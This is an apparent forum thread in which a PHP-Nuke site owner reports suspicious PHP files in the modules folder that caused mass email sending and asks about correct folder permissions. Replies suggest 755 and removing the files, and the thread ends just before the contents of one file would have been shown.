Default permissions - what are they?

I found some suspicious files that were the cause of thousands of emails being generated from our server. They were single files located under the modules folder. drk.php, inc.php, magic.php, inc123.php, shell.php and teste.php. I am wondering if I have the permissions to this modules folder set wrong. Those files got there somehow. What is the proper permission setting for this and other nuke folders?

I believe most are 755.

I don't have any extra files in my modules folder. I am not sure if they might be associated somehow with something you have installed. Try this. Back those files up on your comp taking note of where they go, and delete them off your server. See if that changes anything. Something to try.

Did you take a look inside the files to see what they actually do?

Yeah, they all seemed to do the same thing. Here's what drk.php said. See if you can tell what it means:
